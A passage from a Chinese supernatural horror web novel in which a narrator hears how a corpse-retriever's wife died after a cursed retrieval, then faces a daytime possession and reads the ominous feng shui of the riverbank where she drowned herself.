“当年我姐姐徐莹,经人介绍认识了苟驹,两人没有多久就结婚了,看上去倒是很和睦。” “只不过苟驹平时对捞尸这件事情很淡,三天打鱼,两天晒网,姐姐偶尔抱怨他几句,倒也没什么。” “此后我姐姐怀孕了,苟驹倒是来了劲儿,开始频繁的去捞尸,好,这没什么说的,有孩子了,他知道进取。” “可他却闯了一桩弥天大祸,害死了我姐姐!” 徐湘灵说了一大截,才总算进了正题。 大致是苟驹打捞了一口不能捞的尸身,因为按照捞尸人的规矩来说,有三不捞。 其中之一,三捞失败的尸体不捞。 所谓三捞,就是进水三次,将尸体快要带出水面,或者干脆带离原位,尸体就脱手而出,沉入水底,就算一捞。 正因为当年苟驹四捞一口女尸,导致家中怪事连连。 首先是她姐姐每晚上起夜,都会发现苟驹不在房间里。 开始她哪儿知道,这件事情和女尸有关? 给苟驹打电话打不通,就只能回房间,一个人翻来覆去的睡不着。 苟驹每次都是临快天亮了回床上躺下,问他什么他都不回答,很快就鼾声如雷。 再之后,她姐姐故意半夜不睡觉,果然,等到苟驹半夜苏醒,苟驹溜出房间的时候,她偷偷摸摸的看。 结果苟驹没有离开院子,只是进了对面的柴房。 姐姐跟过去,就直接将柴房门推开了,却瞧见苟驹正在和一口女尸…… 话音至此,徐湘灵默了半晌,才说:“他和女尸,媾和。” “那女尸,就是四捞的女尸,本来是闭着眼,忽然睁眼看着姐姐发笑,一边笑,还一边说,这辈子的女儿,上辈子的情人,再然后,女尸就忽然流淌尸油,腐烂了。” “苟驹清醒过来,被吓得不轻,他自己都不知道,自己怎么会鬼迷心窍和女尸……行苟且之事。” “姐姐帮他用一些偏方驱邪,这件事儿,本来就这么不了了之了。” “可之后姐姐就总做梦,梦到自己的肚子被啃破了,钻出来个阴胎,将她掐死!” “姐姐说,女尸投胎了,不,是女尸夺舍了,夺了她腹中女儿的魂,要借体还魂!” 徐湘灵的话音很重,脸色愈发苍白。 闻言,我都心惊阵阵。 这事儿听起来简单,实际上过于诡异和悚然了。 第144章 河畔柳岸鬼上身 稍稍代入去联想,无论是苟驹清醒过来,发现身下躺着一具腐烂女尸,还是说徐湘灵姐姐徐莹做梦孩子咬破她肚子去掐她脖子,这都是细思极恐。 尤其是,女尸腐烂之前,还说了那么一句,这辈子的女儿,上辈子的情人,这就更恐怖了。 “然后呢?当时没有解决这件事吗?” “还是说,就是这件事情造成的隐患?成了现在这个结果?”我沉声再问徐湘灵。 “如果这么简单,那就好了。”徐湘灵眼中透着一抹悲哀,道:“那段时间姐姐以泪洗面,总觉得肚子里就是个鬼娃娃,是个阴胎,苟驹整天想方设法,去找人来驱邪,两个人都神经质了。” “真要说苟驹为什么捞那个女人上来,这事儿,还和那家人多掏了五万块钱有关,只不过,他们花费出去的,早就超过那个钱数。” “之后吧,苟驹不知道从哪儿领回来个神婆, 说得诛魂,总不能真生个鬼娃娃下来吧?” 徐湘灵抿着唇,说:“就是这个时候,出了大事。” “那神婆布置了很多手段,最后,一张符贴在我姐姐肚子上,那晚上,姐姐又做了个梦,梦见了一个小女孩儿,她一直在哭,脑袋上贴着一张符,哭着哭着,那小女孩儿就融化了,最后,另一个小女孩儿站在她融化的位置,她模样,就和那口女尸一模一样!” “等醒来之后,神婆跑了,苟驹四处去找,压根找不上那神婆,最后才晓得,是那家人算计了他,想着让自家女儿借用我姐姐的肚子投胎。” “因为姐姐是捞尸人,阴气重,鬼投胎,可以减弱阴气,她钻进姐姐腹中,刻意给她托梦,让她以为孩子已经被夺舍,被借体还魂,实际上根本没有。” “那个假神婆用符打跑姐姐腹中原本孩子的魂魄后,她才能如愿以偿。” “苟驹找上那家人,想要讨个说法,对方家大业大,他只是个小小捞尸人,对方砸给他十条大黄鱼,就让他回去好好照顾姐姐生产,到时候来接孩子。” “苟驹没有要那钱,回家了。” “他带姐姐去打胎,医院说月份大了,已经不能打,更不能引产,找小诊所的去,结果大白天的,小诊所的大夫居然鬼上身了,指着苟驹骂他吃干抹尽不认人。” “之后,姐姐吃了给牛堕胎的药。” 说到这里,徐湘灵的眼眶更红,身体更颤抖。 “结果,那药居然都没用了。” “甚至第二天早上,那家人就来了,说自己女儿哭诉着来托梦,说我姐姐和苟驹要害她,又说,她生前没嫁过人,还是个黄花闺女,什么都给苟驹了,是老话说的,上辈子的情人,这辈子的女儿,苟驹干的不是人事儿。” “那家人的确有背景,还带了几个三教九流的人来,将姐姐好生羞辱了一顿,苟驹也被人拳打脚踢,让他们不要再用什么幺蛾子的手段, 否则就杀了他们两口子。” 我没吭声,心头有股说不出的闷堵感。 至此,我能听出来苟驹唯一的问题,就是为了五万块钱,破了捞尸人的规矩,将女尸打捞上岸。 余下的,都是他们被人算计,被人欺辱。 “第三天,姐姐就跳河了,她死了之后,天天都立在水里头飘着,是死而不倒。” “苟驹想去将姐姐打捞上岸,却找不到姐姐尸体。” “再之后,苟驹拿着卜刀,冲去了那家人家里,想要砍死几个人报仇,结果他窝囊,不中用,人没有砍到,又让人羞辱了一顿,甚至打断一条胳膊扔了回来。” “再之后,那家人也搬走了。 ” “苟驹终日买醉,我恨他啊,如果不是他破规矩,怎么会给人可乘之机?明明是他的问题,造成的错误,造成姐姐的死,他解决不了,报不了仇,还整天醉醺醺的,像是个鬼一样! ” “没多久,苟驹甚至还破了捞尸人更多的规矩,组建捞尸队,捞尸人怎么痛恨,他就怎么做,为了敛财,无所不用其极。” 话音至此,徐湘灵又淌了不少眼泪。 我基本上也听出来了。 徐湘灵怨是怨的,说恨,真的痛恨那说不上,更多的只是恨铁不成钢。 更多的是恨姐姐不能瞑目,是恨苟驹不能去报仇。 我心里更堵,更难受,不知道怎么说。 苟驹这经历,居然和我有些相仿? 都是被人害了至亲,凶手还在面前反复横跳? 苟驹更痛苦。 至少,我妈保住了我。 苟驹既没了老婆,又没了孩子,自己还断了胳膊,最后,怕是仇人去哪儿了,都不知道? 而且老婆孩子,更无法入土为安? 半晌天,徐湘灵都没开口,我知道,她是将自己知道的全部都说出来了。 “因此,你姐姐徐莹从来没有回过门,昨晚是第一次,对吧?”我再问。 “苟驹认为是我看花眼了,他不肯相信,他也没有胆量去姐姐殒命之地看看,更不想让你插手帮忙。”徐湘灵微微仰头,似是要止住眼泪。 “苟叔做捞尸队,是为了赚钱请先生,他并非是你想的那样。”我说完这句,又道:“你带我去她跳河的地方看看?” 徐湘灵本来还想说些什么,她不吭声了,默默的朝着一个方向走去。 我跟着她大概走了十几分钟,走到天沧江主流,又往上游走了七八分钟,到了一处岸边,这里长满了桑树,柳树,河岸边生满了水草。 阳光那么大,这里却阴森森的,刮得风更森冷。 嘻嘻的笑声在耳边回荡萦绕。 我心里咯噔一下,才瞧见其中一棵柳树,倾斜的倒向河面,两股柳条扎起来,形成了个秋千,有个小女孩儿正坐在秋千上,不停的荡着。 一边荡,她还一边笑,一边笑,她还一边喊着:“来呀,你来抓我呀?你抓不到我,嘻嘻嘻。” 柳树在河面上啊! 谁把小女孩儿放上去的!? 还有,她是冲着水里在喊话! 她冲水鬼说话!? 我死死盯着那方向,徐湘灵也明显瞧见了,她一副毛骨悚然的模样。 “天啊……是她!” 徐湘灵话音将落,柳条上的女孩儿,居然消失不见。 徐湘灵忽然不说话了,直愣愣的站着不动。 “她?当年那个女尸?”我眉心都拧成了疙瘩。 徐湘灵却忽然扭过头来,她冲着我轻轻吹了口气,明明哭的通红的眼眶,这一刻看上去,竟然有些媚眼如丝? 她的手,一把抓住了我裤腰,凑近我胸膛,吐气如兰。 “小男人,来呀。” 她的语调,和刚才那女孩儿如出一辙! 大白天的,徐湘灵居然被鬼上身了! 第145章 你不就是吗? 此刻绝非正午,不是那阳阴交替的时刻。 此地绝非有阴宅,鬼怎么可能出现? 只不过,徐湘灵切切实实就是被鬼上身了! 她抓住我裤腰的手,分外冰凉,那股冷气直往我裤裆里钻,就像是滑溜进去了一根蛇。 她贴在我身上,那如兰的吐气更靡人。 徐湘灵很好看。 虽然苟驹总是骂她小娘皮,甚至抨击她身材上的一些缺点,但事实上,徐湘灵容貌精致,那柳叶眉,丹凤眼,鹅蛋脸,配上纤纤细腰,健康的小麦肤色,她身上有一股极具的张力,很吸引人。 只不过于我来说,不是想着要回到黄渠村救人,对付陈梁生,现在就是要想着学艺,要防备着锁龙井的凶尸,要防备着蟾山女善人,以及陈瞰山给我的那个提示。 多重的事件落在身上,根本没有任何闲情逸致去想那些不着调的男男女女情事。 因此,徐湘灵是个女人,在我眼中,仅此而已。 可现在,徐湘灵那媚眼如丝的神态,将那股张力更加拉满了。 我身体动弹不得,不是我自己不动,而是被一股莫名的劲道压制了手脚。 徐湘灵的吐息扑打在我脖子上,好痒。 然后,她缓缓将我压倒在地,就那么坐在我身上。 阳光,分外刺眼! 我瞧见徐湘灵的肩头,趴着一个小女孩儿。 她皮肤黑红,双眼黑红,嘴巴更带着乌紫色,脸上一块块的斑,斑是尸斑。 徐湘灵似是在摸索着要解开我和她的衣服。 那女孩儿笑嘻嘻的说:“上辈子的情人,这辈子的女儿,小男人,我便宜你了,她也便宜你了,让她怀个娃娃,我就可以走了呀。” 她说着,手就在动。 她怎么动,徐湘灵就怎么动。 我死死的瞪着她,想要伸手去摸身上的寻龙分金尺,去摸仕金盘,哪怕是拿到铜钱或者龟甲也好! 这里有问题。 就是鬼出现了。 得镇鬼啊! 哗啦一声,紧接着就是水!冰凉刺骨的水泼在我和徐湘灵的身上。 那小女孩儿一声尖叫:“死女人!” 骤然间,她烟消云散。 徐湘灵的动作呆呆停下。 我突然发现自己能动了,惊喜之余,翻身就要坐起来。 结果这一撞,徐湘灵就要往后倒下,我反应过来,赶紧去抓住徐湘灵,却成了搂住她腰肢,她整个人都后仰,被悬在半空,这整个动作,极其旖旎和暧昧。 “啊!” 徐湘灵总算清醒过来了,一声尖叫,双腿一弹,整个人就从我身上下来。 她脸红得仿佛快要滴出血来,随后,她眼中却带着一股难掩的恐惧,扭头看着河边。 “姐……姐姐……” 我猛地一扭头,才瞧见水面上立着个女人,她只有半截身子在外,头发随风飘散,阳光照射在水面上, 让她的身影都一阵发黑,像是曝光严重的相片。 再接着,女人慢慢的沉下水面,消失不见了。 徐莹! 我脑子里冒出两个字来。 “大白天的,这里一直见鬼吗?”我目光回到了徐湘灵身上。 徐湘灵脸颊逐渐发白,她摇摇头,说:“这是第一次,太……恐怖了……” 是,虽然先前鬼上身很旖旎。 可那个小女孩儿的目的,是让徐湘灵要怀孕,然后,又钻进徐湘灵的肚子里? 她说的话,就和徐湘灵告诉我,当时苟驹和徐莹的遭遇一模一样! 只是说,从女尸变成了鬼上身,性质没有区别! “平时,这里什么时候最危险恐怖,体现在哪儿,才让先生们不敢处理?”我一边问徐湘灵,手一边摸出来了仕金盘,余光看着指针,视线更扫着河岸边,扫着河面上。 “夜晚岸边会有个女婴爬来爬去,一旦靠近河边,女婴就会往人肚子里钻。” “不光是女婴,还有个看不见的小鬼,会推人后背,将人推入河中,我姐姐会站在水面哭。” “听见她哭声的人会动弹不得,有个先生差点儿死在这里,因此,之后就没有先生敢真切的管这件事儿了,他们的本事都不够,苟驹找不到厉害的人。” 徐湘灵解释着,脸色变得更惨然。 “女婴变成了女孩儿,她白天都能出来了,她是想摆脱这里,刚才是姐姐救了我们。” “徐莹和小女孩儿正常,看不见的小鬼?” 我极力保持着镇定,朝着河边走去。 “喂……你别过去了……”徐湘灵想伸手来拉我。 可她脸一红,又赶紧缩回去手。 我没有停下,一直走到了河岸旁侧。 风大,柳条用力的摇摆,摇晃。 河面上那个柳枝编成的秋千,还在不停的摇晃着,像是永远不会停下。 风,更大了,一些柳条抽打在脸上,就像是一个女人在用巴掌扇我。 我没动,因为眼前的一幕,让我心寒发冷,后背都被冷汗浸湿。 水面看似是平坦的,可仔细看去,丝毫不平坦,有许许多多尖锐的石块,像是要冲出水面。 水流在那些石块之中穿梭纵横,没有一个方向感,更像是乱流。 我猛然间后退,转身,却差点儿和徐湘灵撞在一起! 她轻呼一声,我一把抓住她手腕,将她往身侧一拽。 同时我语气更重:“让开!” 入目所视,眼前是一个弧形的凸地。 脚下色彩为正常土色,再往前,就变成了黑色。 形成了一个像是元宝底部的弧形,而我和徐湘灵脚踩的位置,是元宝中央,只不过,元宝本身顶部也是圆的,在这而,却成了微微凹陷,两侧平直宛若刀削。 我脸色再变,语气更惊:“十字交穿水不停,尖砂簇簇面前呈,天心破流真堪恶,财败人伤横事频。” “这里的风水,是破天心水,怎么会在这里自杀……怎么能在这里自杀!?” “怪不得,苟叔花了那么多钱,请不来一个先生,风水就注定了这里破财伤人祸事频繁,他就算花金山银山,都请不来人!” “只有不收钱的先生,才有可能帮他解决。” “正常先生,怎么可能不收钱?这是规矩,任何事情,都有一个规矩!” 我话音刚落,徐湘灵就抿着唇,她脸稍显的紧绷,说:“你不就是吗?”